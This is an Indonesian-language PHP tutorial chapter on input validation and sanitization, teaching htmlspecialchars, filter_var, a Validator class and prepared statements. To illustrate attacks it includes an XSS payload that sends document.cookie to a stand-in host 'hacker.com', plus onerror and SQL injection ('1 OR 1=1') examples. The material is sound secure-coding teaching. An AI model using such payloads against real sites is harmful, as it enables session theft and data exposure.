Validasi & Sanitasi Input

Aturan nomor satu keamanan web: jangan pernah percaya data dari user. Semua input — dari form, URL, cookie, header — bisa dimanipulasi oleh hacker. Validasi dan sanitasi adalah tameng pertama aplikasimu.

Validasi vs Sanitasi

ValidasiSanitasi
TujuanCek apakah data sesuai aturanBersihkan data dari karakter berbahaya
Jika gagalTolak dan minta user isi ulangTetap terima, tapi buang bagian bahaya
ContohEmail harus format validHapus tag HTML dari input nama
AnalogiSatpam cek KTP di pintu gerbangMesin X-ray scan isi tas

Best practice: Validasi dulu, sanitasi kemudian — lakukan keduanya.

Serangan XSS (Cross-Site Scripting)

XSS terjadi ketika hacker menyisipkan JavaScript jahat ke dalam halamanmu:

<?php
// Bayangkan user mengetik ini di form komentar:
$komentar = '<script>document.location="http://hacker.com/steal?c="+document.cookie</script>';

// ❌ BAHAYA: Langsung tampilkan tanpa sanitasi
echo "<p>Komentar: $komentar</p>";
// Browser menjalankan script hacker → cookie user dicuri!

// ✅ AMAN: Escape HTML entities
echo "<p>Komentar: " . htmlspecialchars($komentar, ENT_QUOTES, 'UTF-8') . "</p>";
// Tampil sebagai teks biasa: <script>document.location=...
// Script TIDAK dijalankan oleh browser!

htmlspecialchars() — Benteng Utama Anti-XSS

<?php
// Karakter yang di-escape:
// < → &lt;    > → &gt;    & → &amp;    " → &quot;    ' → &#039;

$input = '<img src="x" onerror="alert(\'hacked!)\'>"';

echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// &lt;img src=&quot;x&quot; onerror=&quot;alert(&#039;hacked!)&#039;&quot;&gt;
// Aman! Browser menampilkan sebagai teks, bukan menjalankan sebagai HTML
TIP
// Buat shortcut agar tidak perlu ketik panjang berulang
function esc(string $text): string {
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

// Pakai di template
echo "<p>Nama: " . esc($user['nama']) . "</p>";

filter_input() dan filter_var()

PHP punya sistem filter bawaan yang powerful:

Validasi

<?php
// Validasi email
$email = '[email protected]';
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo "Email valid ✅";
} else {
    echo "Email tidak valid ❌";
}

// Validasi integer
$umur = '25';
$umur_valid = filter_var($umur, FILTER_VALIDATE_INT);
if ($umur_valid !== false) {
    echo "Umur: $umur_valid ✅";  // 25
}

// Validasi integer dengan range
$umur = filter_var('150', FILTER_VALIDATE_INT, [
    'options' => ['min_range' => 1, 'max_range' => 120]
]);
var_dump($umur);  // false (150 di luar range)

// Validasi URL
$url = 'https://contoh.com/halaman';
if (filter_var($url, FILTER_VALIDATE_URL)) {
    echo "URL valid ✅";
}

// Validasi IP Address
if (filter_var('192.168.1.1', FILTER_VALIDATE_IP)) {
    echo "IP valid ✅";
}

Sanitasi

<?php
// Bersihkan string dari tag HTML
$input = '<b>Halo</b> <script>alert("hack")</script> dunia!';
$bersih = filter_var($input, FILTER_SANITIZE_SPECIAL_CHARS);
echo $bersih;  // &#60;b&#62;Halo&#60;/b&#62; &#60;script&#62;...

// Bersihkan email dari karakter ilegal
$email = 'use r@[contoh].com';
$bersih = filter_var($email, FILTER_SANITIZE_EMAIL);
echo $bersih;  // [email protected]

// Bersihkan URL
$url = 'https://contoh.com/ha laman?q=<script>';
$bersih = filter_var($url, FILTER_SANITIZE_URL);
echo $bersih;  // https://contoh.com/halaman?q=%3Cscript%3E

filter_input() — Langsung dari Superglobal

<?php
// Ambil dan validasi langsung dari $_GET, $_POST, dll
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$cari = filter_input(INPUT_GET, 'q', FILTER_SANITIZE_SPECIAL_CHARS);

if ($id === false) {
    echo "ID harus berupa angka!";
} elseif ($id === null) {
    echo "Parameter ID tidak ditemukan";
}

Server-Side vs Client-Side Validation

     CLIENT (Browser)              SERVER (PHP)
  ┌─────────────────────┐     ┌─────────────────────┐
  │ HTML required        │     │ Validasi WAJIB di   │
  │ type="email"         │     │ sini juga!          │
  │ JavaScript check     │     │                     │
  │                     │     │ filter_var()         │
  │ → User Experience   │     │ preg_match()         │
  │   (cepat, langsung) │     │ htmlspecialchars()   │
  │                     │     │                     │
  │ ⚠️ BISA DI-BYPASS!  │     │ ✅ TIDAK BISA        │
  │   (DevTools, curl)  │     │    DI-BYPASS         │
  └─────────────────────┘     └─────────────────────┘
WARNING

Client-side validation BUKAN keamanan!kenyamanan user (feedback cepat). Hacker bisa dengan mudah bypass-nya menggunakan DevTools atau curl. Selalu validasi ulang di server!

Pattern: Validasi Form Lengkap

<?php
// helpers/validator.php
declare(strict_types=1);

class Validator {
    private array $errors = [];

    public function required(string $field, mixed $value, string $label = ''): self {
        $label = $label ?: $field;
        if (empty(trim((string) $value))) {
            $this->errors[$field] = "$label wajib diisi";
        }
        return $this;
    }

    public function email(string $field, string $value): self {
        if (!empty($value) && !filter_var($value, FILTER_VALIDATE_EMAIL)) {
            $this->errors[$field] = "Format email tidak valid";
        }
        return $this;
    }

    public function minLength(string $field, string $value, int $min, string $label = ''): self {
        $label = $label ?: $field;
        if (strlen($value) < $min) {
            $this->errors[$field] = "$label minimal $min karakter";
        }
        return $this;
    }

    public function maxLength(string $field, string $value, int $max, string $label = ''): self {
        $label = $label ?: $field;
        if (strlen($value) > $max) {
            $this->errors[$field] = "$label maksimal $max karakter";
        }
        return $this;
    }

    public function numeric(string $field, mixed $value, string $label = ''): self {
        $label = $label ?: $field;
        if (!empty($value) && !is_numeric($value)) {
            $this->errors[$field] = "$label harus berupa angka";
        }
        return $this;
    }

    public function hasErrors(): bool {
        return !empty($this->errors);
    }

    public function getErrors(): array {
        return $this->errors;
    }

    public function getError(string $field): string {
        return $this->errors[$field] ?? '';
    }
}

Penggunaan:

<?php
require 'helpers/validator.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $nama  = trim($_POST['nama'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $umur  = $_POST['umur'] ?? '';

    $v = new Validator();
    $v->required('nama', $nama, 'Nama')
      ->minLength('nama', $nama, 3, 'Nama')
      ->maxLength('nama', $nama, 100, 'Nama')
      ->required('email', $email, 'Email')
      ->email('email', $email)
      ->required('umur', $umur, 'Umur')
      ->numeric('umur', $umur, 'Umur');

    if ($v->hasErrors()) {
        // Tampilkan error
        foreach ($v->getErrors() as $field => $pesan) {
            echo "<p style='color:red'>❌ $pesan</p>";
        }
    } else {
        // Sanitasi sebelum simpan
        $nama_bersih = htmlspecialchars($nama, ENT_QUOTES, 'UTF-8');
        // ... simpan ke database
    }
}

Perlindungan SQL Injection

SQL Injection sudah dibahas di bab sebelumnya, tapi ini reminder penting:

<?php
// ❌ BAHAYA: Input langsung masuk query
$id = $_GET['id'];
$stmt = $pdo->query("SELECT * FROM users WHERE id = $id");
// Hacker kirim: ?id=1 OR 1=1 → Dapat SEMUA data!

// ✅ AMAN: Prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

Rangkuman

[!IMPORTANT] Checklist Keamanan Input

  1. htmlspecialchars() di semua output ke HTML (anti-XSS)
  2. Prepared statements di semua query database (anti-SQL injection)
  3. filter_var() untuk validasi email, int, URL
  4. Validasi di server — jangan andalkan client-side saja
  5. trim() input string — buang spasi di awal/akhir
  6. Whitelist — terima hanya yang diharapkan, tolak sisanya
  7. ✅ Pesan error yang informatif tapi tidak bocorkan detail teknis

Latihan

  1. Tambahkan class Validator ke project Toko Online dan gunakan di form tambah produk
  2. Coba akses form tanpa browser (pakai curl) — buktikan bahwa validasi HTML bisa di-bypass
  3. Buat helper esc() dan ganti semua echo $variable di template menjadi echo esc($variable)

Selanjutnya

Input sudah divalidasi dan disanitasi. Lanjut ke Authentication vs Authorization → untuk memahami perbedaan antara "siapa kamu" dan "apa yang boleh kamu lakukan".

Artikel Terkait